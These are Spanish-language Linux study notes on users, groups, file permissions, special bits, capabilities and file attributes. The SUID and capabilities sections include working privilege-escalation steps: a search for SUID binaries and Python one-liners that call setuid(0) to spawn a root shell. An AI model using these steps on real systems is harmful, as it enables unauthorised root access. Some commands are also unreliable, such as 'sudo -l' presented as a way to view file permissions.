🔐👤👥 Gestión de Usuarios, Grupos y Permisos en Linux

👤 Gestión de usuario

➕ Crear un Usuario Básico

sudo useradd unai

➡️ Crea un usuario llamado unai sin carpeta personal ni shell definida.
📝 Nota: Al crear un usuario, automáticamente se crea un grupo con el mismo nombre.

🏠 Crear con Carpeta Personal y Shell Definido

sudo useradd -m -d /home/unai -s /bin/bash unai
passwd unai 

🔄 Cambiar de usuario

su unai

🗑️ Eliminar un usuaio

userdel unai

🧑‍🏫 Gestión de Grupo

📦 Crear un Grupo

groupadd alumnos

➕ Agregar Usuario a un Grupo

 usermod -a -G alumnos unai

➡️ Añade unai al grupo alumnos sin quitarlo de su grupo principal.

🪪 Ver Grupos de un Usuario y sus miembros

cat /etc/group | grep alumnos

Pasted image 20250415205130.png

🆔 Ver Información de Grupos de un Usuario

id

Pasted image 20250415205256.png
➡️ Muestra el UID, grupo principal y todos los grupos del usuario activo.

📜 Permisos en Archivos y Directorios

🔐 Lectura e interpretación de permisos

📜 Verificación de Permisos de Archivos en Linux

Puedes ver los permisos de un archivo o directorio usando el comando:

sudo -l

Ejemplo de salida:
Pasted image 20250415194123.png

🛠️ Interpretación de los Permisos

Los permisos se presentan de la siguiente forma:

rw-r--r--

Desglosado:

  1. Primer conjunto de tres caracteres (rw-): Permisos del propietario del archivo:

    • r = Lectura (Read)

    • w = Escritura (Write)

    • - = Ejecución no permitido (No execute)

    En este caso, el propietario (usuario "kali") tiene permiso de lectura y escritura, pero no de ejecución.

  2. Segundo conjunto de tres caracteres (r--): Permisos para el grupo del archivo:

    • r = Lectura permitida

    • - = Escritura no permitida

    • - = Ejecución no permitida

    El grupo "kali" solo tiene permisos de lectura.

  3. Tercer conjunto de tres caracteres (r--): Permisos para otros usuarios (que no son ni propietario ni parte del grupo):

    • r = Lectura permitida

    • - = Escritura no permitida

    • - = Ejecución no permitida

    Los demás usuarios también solo pueden leer el archivo.

🔑 Resumen

Rol Permisos
Propietario (kali) Lectura + Escritura
Grupo (kali) Solo Lectura
Otros Usuarios Solo Lectura

🏷️ Gestión de Propietarios

👤 Cambiar Solo el Usuario Propietario

chown usuario carpeta

👥 Cambiar Usuario y Grupo a la vez

chown usuario:grupo carpeta

🔧 Asignación de Permisos con chmod

El comando chmod permite modificar los permisos de archivos y directorios en Linux
➡️ Da permiso de ejecución a "otros" usuarios.
🧩 Sintaxis general:

chmod <quienes>+<permiso> archivo

➕ Operadores

✅ Ejemplo 1: Dar permisos de ejecución a "otros"

chmod o+x hola.txt

➡️ Añade permiso de ejecución (x) a los otros usuarios para el archivo hola.txt.

🚫 Ejemplo 2: Quitar permisos de lectura y escritura a "otros"

chmod o-r, o-w hola.txt

➡️ Elimina los permisos de lectura (r) y escritura (w) de los otros usuarios.

🔢 Asignación de Permisos con Valores Octales (chmod)

Otra forma muy práctica de asignar permisos en Linux es mediante notación octal. En vez de letras como rwx, usamos números del 0 al 7 para representar combinaciones de permisos.

🧩 ¿Cómo funciona?

Los permisos de un archivo se dividen en tres bloques:

Propietario Grupo Otros
rwx rw- r--
Cada letra tiene un valor numérico:
Permiso Valor
r 4
w 2
x 1
- 0

🔐 Cálculo por bloques

Para cada grupo (propietario, grupo y otros), sumamos los valores de los permisos deseados:

Grupo Permisos Cálculo Resultado
Propietario rwx 4 + 2 + 1 7
Grupo rw- 4 + 2 + 0 6
Otros r-- 4 + 0 + 0 4
➡️ Resultado final: 764
chmod 764 archivo.txt

📋 ¿Qué significa chmod 764 archivo.txt?

🛡️ Permisos Especiales en Linux

Linux tiene tres permisos especiales que se pueden aplicar sobre archivos o directorios:

🧷 Sticky Bit en Linux

El Sticky Bit se usa principalmente en directorios compartidos, como /tmp, donde todos los usuarios pueden escribir, pero no pueden borrar archivos que no les pertenecen.

Sin Sticky Bit, cualquiera puede eliminar cualquier archivo del directorio, incluso si ese archivo no le pertenece.

📂 Ejemplo sin Sticky Bit

✅ Creamos un directorio compartido:

sudo mkdir /compartido
sudo chmod 777 /compartido

➡️ Todos los usuarios tienen lectura, escritura y ejecución en el directorio /compartido.

  1. 👤 Creamos un archivo como usuario unai:
sudo su unai
echo "secreto" > /compartido/archivo_de_unai.txt
chmod 400 /compartido/archivo_de_unai.txt
exit
sudo su otro_usuario
rm /compartido/archivo_de_unai.txt

✅ ¡El archivo se borra! Porque aunque otro_usuario no tiene permisos sobre el archivo, sí tiene permisos w sobre el directorio, y eso basta para eliminarlo.

🛡️ Solución: Activar el Sticky Bit

Para evitar que otros borren archivos que no son suyos:

sudo chmod +t /compartido

Ahora si otro usuario intenta eliminar un archivo que no le pertenece:

sudo su otro_usuario
rm /compartido/archivo_de_unai.txt

Error:

rm: no se puede borrar ‘archivo_de_unai.txt’: Operación no permitida

➡️ Aunque el directorio tenga permisos 777, gracias al Sticky Bit, solo el dueño del archivo o root puede borrarlo.

🛡️ SUID y SGID en Linux

En Linux, además de los permisos rwx, existen bits especiales que cambian el comportamiento de ejecución de archivos y directorios. Los más conocidos son:

🔐 SUID – Ejecutar como el dueño del archivo

SUID es un bit especial en Linux que se asigna a archivos ejecutables. Cuando un archivo tiene el bit SUID activado, cualquier usuario que ejecute ese archivo lo hace con los privilegios del propietario del archivo, no con sus propios privilegios.

¿Qué hace SUID?

ls -l /usr/bin/passwd

📥 Salida:
Pasted image 20250416194907.png
🔒 Significa que cualquier usuario puede ejecutar passwd con privilegios de root (porque necesita modificar /etc/shadow).
⚙️ Activar SUID

sudo chmod u+s archivo

o directamente:

sudo chmod 4755 archivo

🔓 Para quitarlo:

sudo chmod u-s archivo

⚠️ ¡SUID puede ser peligroso!

Aunque se usa en herramientas legítimas, **si se aplica a binarios peligrosos como python, bash, perl, etc., puede provocar escaladas de privilegios.

💣 Ejemplo realista de escalada de privilegios con python

  1. 🔍 Buscar binarios con SUID:
find / -type f -perm -4000 2>/dev/null 

⚠️ Si aparece /usr/bin/python3.11 como SUID:
Pasted image 20250416202424.png
😈 Escalada de privilegios como usuario sin permisos (por ejemplo unai):

python3.11

Dentro del intérprete:

import os
os.setuid(0)
os.system("whoami")  # Devuelve "root"
os.system("/bin/bash")

✅ Ahora tienes una shell con privilegios de root, sin necesidad de contraseña.
Pasted image 20250416201746.png

👥 SGID – Ejecutar como el grupo del archivo (o herencia en directorios)

⚙️ Activar SGID

sudo chmod g+s archivo_o_directorio

⚙️ Activar SGID

sudo chmod 2755 archivo_o_directorio

🔓 Para quitarlo:

sudo chmod g-s archivo_o_directorio

Buscar SGID

find / -type f -perm -2000 2>/dev/null 

🧠 Resumen rápido

Bit Uso en archivos Uso en directorios
SUID Ejecuta como el usuario propietario ❌ No aplica
SGID Ejecuta como el grupo del archivo Archivos nuevos heredan el grupo del directorio

Capabilities

El objetivo de las capabilities en Linux es dividir el poder absoluto del usuario root en privilegios específicos y granulares.

🛡️ Así, si un proceso o binario fuese explotado, solo tendría los permisos mínimos necesarios, no acceso total al sistema.

Tradicionalmente, para realizar acciones como:

👉 Con capabilities, se pueden asignar solo los permisos que se necesitan, sin ser root ni usar SUID.

🛠️ Comandos básicos

🔍 Ver capabilities de un archivo:

getcap /ruta/del/archivo 

➕ Asignar capabilities a un binario:

sudo setcap cap_<nombre>+ep /ruta/del/archivo

➖ Quitar capabilities:

sudo setcap -r /ruta/del/archivo

🔐 Algunas capabilities comunes

Capability Permite...
cap_net_bind_service Usar puertos < 1024 sin ser root
cap_net_raw Usar ping, tcpdump, sockets RAW
cap_sys_boot Reiniciar el sistema
cap_sys_chroot Usar chroot()
cap_sys_ptrace Usar ptrace, espiar otros procesos
cap_dac_override Ignorar permisos normales de archivos (read/write/exec)
cap_setuid Cambiar UID efectivo
cap_sys_admin ⚠️ La más peligrosa: montar discos, cambiar hostname, etc.

⚠️ ¡Cuidado! Escalada con capabilities

Las capabilities mal aplicadas pueden abrir la puerta a una escalada de privilegios.

💣 Ejemplo: Python con cap_setuid

Supón que un administrador le da a Python la capacidad de cambiar de usuario (UID):

sudo setcap cap_setuid+ep /usr/bin/python3.11

🔍 Verificamos qué capabilities tiene ese binario:

getcap /usr/bin/python3.11
# /usr/bin/python3.11 = cap_setuid+ep

🔎 También podemos buscar todos los binarios con capabilities activas:

getcap -r / 2>/dev/null

Pasted image 20250417100625.png
Ahora, un atacante o usuario local podría ejecutar este sencillo script de Python para elevar sus privilegios a root, sin usar sudo:

python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'

📸 Shell como root logrado sin contraseña:
Pasted image 20250417101027.png
Esto ocurre porque el UID 0 corresponde al usuario root, y cap_setuid le permite al binario asignarse cualquier UID.

Puedes revisar técnicas y herramientas que explotan estas capabilities en la web de referencia:
🔗 GTFOBins + Capabilities

🧱 Control de Atributos de Archivos con chattr y lsattr

Además de los permisos tradicionales (chmod, chown), Linux permite aplicar atributos especiales a archivos para reforzar su control. Estos atributos no se ven con ls -l, y se gestionan con:

🧠 Útil para proteger archivos sensibles, evitar modificaciones accidentales o incluso permitir recuperar archivos eliminados.

🔐 Comando chattr (Change Attributes)

Este comando se usa para añadir o quitar atributos especiales a archivos o directorios.

sudo chattr +<atributo> archivo
sudo chattr -<atributo> archivo

🔒 Ejemplo: Hacer un archivo inmutable

sudo chattr +i archivo.txt

Mientras tenga el atributo i, ni siquiera root podrá modificar, renombrar o borrar el archivo.
🔓 Para quitar la protección:

sudo chattr -i archivo.txt

📝 Mientras tenga el atributo i, ni siquiera root puede modificar o eliminar el archivo (hasta que se quite el atributo).

🔍 Comando lsattr (List Attributes)

Para ver los atributos activos:

lsattr archivo.txt

Opciones útiles:

Opción Descripción
-a Muestra también archivos ocultos
-R Recorre directorios de forma recursiva
📸 Ejemplo visual:
Pasted image 20250416193030.png
📛 *Intentar borrar archivo con +i:
🛑 Resultado:
Pasted image 20250416193116.png

🔠 Atributos más comunes y su función

Atributo Descripción
i Inmutable: No se puede modificar, borrar ni renombrar. Ni root puede.
a Solo append: Solo se pueden agregar datos al final.
A Sin actualizar atime: No se registra la fecha de acceso.
c Compresión automática en disco (por el kernel).
d No se incluirá en backups (dump).
e Usa journaling por bloques (ext4).
s Borra sobrescribiendo con ceros.
S Cambios se escriben directamente en disco (sync).
u Recuperable: los datos del archivo se mantienen tras borrarlo.